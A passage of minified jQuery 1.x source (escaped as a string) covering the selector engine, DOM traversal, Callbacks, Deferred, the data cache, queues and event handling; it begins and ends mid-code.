e;a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type])break;if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a)return G.apply(e,f),e;break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split(\"\").sort(z).join(\"\")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement(\"div\"))}),gb(function(a){return a.innerHTML=\"<a href='#'></a>\",\"#\"===a.firstChild.getAttribute(\"href\")})||hb(\"type|href|height|width\",function(a,b,c){return c?void 0:a.getAttribute(b,\"type\"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML=\"<input/>\",a.firstChild.setAttribute(\"value\",\"\"),\"\"===a.firstChild.getAttribute(\"value\")})||hb(\"value\",function(a,b,c){return c||\"input\"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute(\"disabled\")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[\":\"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,w=/^.[^:#\\[\\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if(\"string\"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=\":not(\"+a+\")\"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if(\"string\"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+\" \"+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,\"string\"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a)return this;if(\"string\"==typeof a){if(c=\"<\"===a.charAt(0)&&\">\"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2])return y.find(a);this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?\"undefined\"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c)))1===e.nodeType&&d.push(e),e=e[b];return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||\"string\"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?\"string\"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return n.dir(a,\"parentNode\",c)},next:function(a){return E(a,\"nextSibling\")},prev:function(a){return E(a,\"previousSibling\")},nextAll:function(a){return n.dir(a,\"nextSibling\")},prevAll:function(a){return n.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return n.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return n.dir(a,\"previousSibling\",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return\"Until\"!==a.slice(-5)&&(d=c),d&&\"string\"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a=\"string\"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++)if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);\"function\"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&\"string\"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1)h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return!i},fireWith:function(a,c){return!h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!d}};return k},n.extend({Deferred:function(a){var b=[[\"resolve\",\"done\",n.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",n.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",n.Callbacks(\"memory\")]],c=\"pending\",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+\"With\"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+\"With\"](this===e?d:this,arguments),this},e[f[0]+\"With\"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body)return setTimeout(n.ready);n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger(\"ready\").off(\"ready\"))}}});function J(){z.addEventListener?(z.removeEventListener(\"DOMContentLoaded\",K,!1),a.removeEventListener(\"load\",K,!1)):(z.detachEvent(\"onreadystatechange\",K),a.detachEvent(\"onload\",K))}function K(){(z.addEventListener||\"load\"===event.type||\"complete\"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),\"complete\"===z.readyState)setTimeout(n.ready);else if(z.addEventListener)z.addEventListener(\"DOMContentLoaded\",K,!1),a.addEventListener(\"load\",K,!1);else{z.attachEvent(\"onreadystatechange\",K),a.attachEvent(\"onload\",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll(\"left\")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}return I.promise(b)};var L=\"undefined\",M;for(M in n(l))break;l.ownLast=\"0\"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName(\"body\")[0];c&&(a=z.createElement(\"div\"),a.style.cssText=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px\",b=z.createElement(\"div\"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText=\"border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1\",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement(\"div\");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+\" \").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute(\"classid\")===b};var N=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d=\"data-\"+b.replace(O,\"-$1\").toLowerCase();if(c=a.getAttribute(d),\"string\"==typeof c){try{c=\"true\"===c?!0:\"false\"===c?!1:\"null\"===c?null:+c+\"\"===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0}return c}function Q(a){var b;for(b in a)if((\"data\"!==b||!n.isEmptyObject(a[b]))&&\"toJSON\"!==b)return!1;return!0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||\"string\"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),(\"object\"==typeof b||\"function\"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),\"string\"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(\" \")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{\"applet \":!0,\"embed \":!0,\"object \":\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,\"parsedAttrs\"))){c=g.length;while(c--)d=g[c].name,0===d.indexOf(\"data-\")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]));n._data(f,\"parsedAttrs\",!0)}return e}return\"object\"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||\"fx\")+\"queue\",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||\"fx\";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};\"inprogress\"===e&&(e=c.shift(),d--),e&&(\"fx\"===b&&c.unshift(\"inprogress\"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks(\"once memory\").add(function(){n._removeData(a,b+\"queue\"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return\"string\"!=typeof a&&(b=a,a=\"fx\",c--),arguments.length<c?n.queue(this[0],a):void 0===b?this:this.each(function(){var c=n.queue(this,a,b);n._queueHooks(this,a),\"fx\"===a&&\"inprogress\"!==c[0]&&n.dequeue(this,a)})},dequeue:function(a){return this.each(function(){n.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,b){var c,d=1,e=n.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};\"string\"!=typeof a&&(b=a,a=void 0),a=a||\"fx\";while(g--)c=n._data(f[g],a+\"queueHooks\"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var T=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,U=[\"Top\",\"Right\",\"Bottom\",\"Left\"],V=function(a,b){return a=b||a,\"none\"===n.css(a,\"display\")||!n.contains(a.ownerDocument,a)},W=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if(\"object\"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement(\"div\"),c=z.createElement(\"input\");if(b.setAttribute(\"className\",\"t\"),b.innerHTML=\" <link/><table></table><a href='/a'>a</a>\",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName(\"tbody\").length,l.htmlSerialize=!!b.getElementsByTagName(\"link\").length,l.html5Clone=\"<:nav></:nav>\"!==z.createElement(\"nav\").cloneNode(!0).outerHTML,c.type=\"checkbox\",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML=\"<textarea>x</textarea>\",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML=\"<input type='radio' checked='checked' name='t'/>\",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent(\"onclick\",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement(\"div\");for(b in{submit:!0,change:!0,focusin:!0})c=\"on\"+b,(l[b+\"Bubbles\"]=c in a)||(d.setAttribute(c,\"t\"),l[b+\"Bubbles\"]=d.attributes[c].expando===!1);d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\\.(.+)|)$/;function bb(){return!0}function cb(){return!1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||\"\").match(F)||[\"\"],h=b.length;while(h--)f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||\"\").split(\".\").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(\".\")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent(\"on\"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||\"\").match(F)||[\"\"],j=b.length;while(j--)if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||\"\").split(\".\").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp(\"(^|\\\\.)\"+p.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&(\"**\"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,\"events\"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,\"type\")?b.type:b,q=j.call(b,\"namespace\")?b.namespace.split(\".\"):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(\".\")>=0&&(q=p.split(\".\"),p=q.shift(),q.sort()),g=p.indexOf(\":\")<0&&\"on\"+p,b=b[n.expando]?b:new n.Event(p,\"object\"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join(\".\"),b.namespace_re=b.namespace?new RegExp(\"(^|\\\\.)\"+q.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),l=h;l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped())b.type=m>1?i:k.bindType||p,f=(n._data(h,\"events\")||{})[b.type]&&n._data(h,\"handle\"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault());if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,\"events\")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||\"click\"!==a.type))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||\"click\"!==a.type)){for(e=[],f=0;h>f;f++)d=b[f],c=d.selector+\" \",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d);e.length&&g.push({elem:i,handlers:e})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[n.expando])return a;var b,c,d,e=a.type,f=a,g=this.fixHooks[e];g||(this.fixHooks[e]=g=$.test(e)?this.mouseHooks:Z.test(e)?this.keyHooks:{}),d=g.props?this.props.concat(g.props):this.props,a=new n.Event(f),b=d.length;while(b--)c=d[b],a[c]=f[c];return a.target||(a.target=f.srcElement||z),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,g.filter?g.filter(a,f):a},props:\"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,b){var c,d,e,f=b.button,g=b.fromElement;return null==a.pageX&&null!=b.clientX&&(d=a.target.ownerDocument||z,e=d.documentElement,c=d.body,a.pageX=b.clientX+(e&&e.scrollLeft||c&&c.scrollLeft||0)-(e&&e.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(e&&e.scrollTop||c&&c.scrollTop||0)-(e&&e.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&g&&(a.relatedTarget=g===a.target?b.toElement:g),a.which||void 0===f||(a.which=1&f?1:2&f?3:4&f?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==db()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:\"focusin\"},blur:{trigger:function(){return this===db()&&this.blur?(this.blur(),!1):void 0},delegateType:\"focusout\"},click:{trigger:function(){return n.nodeName(this,\"input\")&&\"checkbox\"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return n.nodeName(a.target,\"a\")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c,d){var e=n.extend(new n.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?n.event.trigger(e,null,b):n.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},n.removeEvent=z.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){var d=\"on\"+b;a.detachEvent&&(typeof a[d]===L&&(a[d]=null),a.detachEvent(d,c))},n.Event=function(a,b){return this instanceof n.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&(a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault())?bb:cb):this.type=a,b&&n.extend(this,b),this.timeStamp=a&&a.timeStamp||n.now(),void(this[n.expando]=!0)):new n.Event(a,b)},n.Event.prototype={isDefaultPrevented:cb,isPropagationStopped:cb,isImmediatePropagationStopped:cb,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=bb,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=bb,a&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=bb,this.stopPropagation()}},n.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){n.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return(!e||e!==d&&!n.contains(d,e))&&(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),l.submitBubbles||(n.event.special.submit={setup:function(){return n.nodeName(this,\"form\")?!1:void n.event.add(this,\"click._submit keypress._submit\",function(a){var b=a.target,c=n.nodeName(b,\"input\")||n.nodeName(b,\"button\")?b.form:void 0;c&&!n._data(c,\"submitBubbles\")&&(n.event.add(c,\"submit._submit\",function(a){a._submit_bubble=!0}),n._data(c,\"submitBubbles\",!0))})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&n.event.simulate(\"submit\",this.parentNode,a,!0))},teardown:function(){return n.nodeName(this,\"form\")?!1:void n.event.remove(this,\"._submit\")}}),l.changeBubbles||(n.event.special.change={setup:function(){return Y.test(this.nodeName)?((\"checkbox\"===this.type||\"radio\"===this.type)&&(n.event.add(this,\"propertychange._change\",function(a){\"checked\"===a.originalEvent.propertyName&&(this._just_changed=!0)}),n.event.add(this,\"click._change\",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1),n.event.simulate(\"change\",this,a,!0)})),!1):void n.event.add(this,\"beforeactivate._change\",function(a){var b=a.target;Y.test(b.nodeName)&&!n._data(b,\"changeBubbles\")&&(n.event.add(b,\"change._change\",function(a){!this.parentNode||a.isSimulated||a.isTrigger||n.event.simulate(\"change\",this.parentNode,a,!0)}),n._data(b,\"changeBubbles\",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||\"radio\"!==b.type&&\"checkbox\"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return n.event.remove(this,\"._change\"),!Y.test(this.nodeName)}}),l.focusinBubbles||n.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var c=function(a){n.event.simulate(b,a.target,n.event.fix(a),!0)};n.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=n._data(d,b);e||d.addEventListener(a,c,!0),n._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=n._data(d,b)-1;e?n._data(d,b,e):(d.removeEventListener(a,c,!0),n._removeData(d,b))}}}),n.fn.extend({on:function(a,b,c,d,e){var f,g;if(\"object\"==typeof a){\"string\"!=typeof b&&(c=c||b,b=void 0);for(f in a)this.on(f,b,c,a[f],e);return this}if(null==c&&null==d?(d=b,c=b=void 0):null==d&&(\"string\"==typeof b?(d=c,c=void 0):(d=c,c=b,b=void 0)),d===!1)d=cb;else if(!d)return this;return 1===e&&(g=d,d=function(a){return n().off(a),g.apply(this,arguments)},d.guid=g.guid||(g.guid=n.guid++)),this.each(function(){n.event.add(this,a,d,c,b)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,n(a.delegateTarget).off(d.namespace?d.origType+\".\"+d.namespace:d.origType,d.selector,d.handler),this;if(\"object\"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return(b===!1||\"function\"==typeof b)&&(c=b,b=void 0),c===!1&&(c=cb),this.each(function(){n.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){n.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?n.event.trigger(a,b,c,!0):void 0}});function eb(a){var b=fb.split(\"|\"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}var 